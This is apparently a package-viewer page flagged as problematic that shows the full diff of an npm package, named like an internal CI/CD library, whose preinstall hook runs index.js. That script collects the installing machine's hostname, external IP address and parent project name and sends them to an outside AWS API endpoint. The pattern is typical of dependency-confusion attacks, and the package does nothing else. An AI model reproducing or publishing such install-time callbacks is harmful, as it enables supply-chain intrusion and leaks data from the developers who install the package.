@store-sfdcbt-net/cicd_gulp-central-js-lib-v1 1.8.5
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @store-sfdcbt-net/cicd_gulp-central-js-lib-v1 might be problematic. Click here for more details.
- package/index.js +29 -0
- package/package.json +16 -0
package/index.js
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
import axios from 'axios';
|
2
|
+
import os from 'os';
|
3
|
+
import extIp from 'external-ip';
|
4
|
+
import fs from 'fs';
|
5
|
+
import path from 'path';
|
6
|
+
|
7
|
+
|
8
|
+
function findParentPackageName(){
|
9
|
+
const parentPackage = path.join(path.dirname(''), 'package.json');
|
10
|
+
|
11
|
+
if(fs.existsSync(parentPackage)){
|
12
|
+
const json = fs.readFileSync(parentPackage, 'utf8');
|
13
|
+
const packageData = JSON.parse(json);
|
14
|
+
return packageData.name;
|
15
|
+
}
|
16
|
+
}
|
17
|
+
|
18
|
+
const getIp = extIp();
|
19
|
+
const computerName = os.hostname();
|
20
|
+
getIp((err, ip) => {
|
21
|
+
axios.get('https://1jzlbu5mkl.execute-api.us-east-1.amazonaws.com/prod', {
|
22
|
+
params: {
|
23
|
+
name: computerName,
|
24
|
+
app: "ep",
|
25
|
+
ip: ip,
|
26
|
+
nodePackage: findParentPackageName()
|
27
|
+
}
|
28
|
+
});
|
29
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
{
|
2
|
+
"name": "@store-sfdcbt-net/cicd_gulp-central-js-lib-v1",
|
3
|
+
"version": "1.8.5",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"preinstall": "node index.js"
|
7
|
+
},
|
8
|
+
"type": "module",
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^1.4.0",
|
13
|
+
"external-ip": "^2.3.1"
|
14
|
+
},
|
15
|
+
"description": ""
|
16
|
+
}
|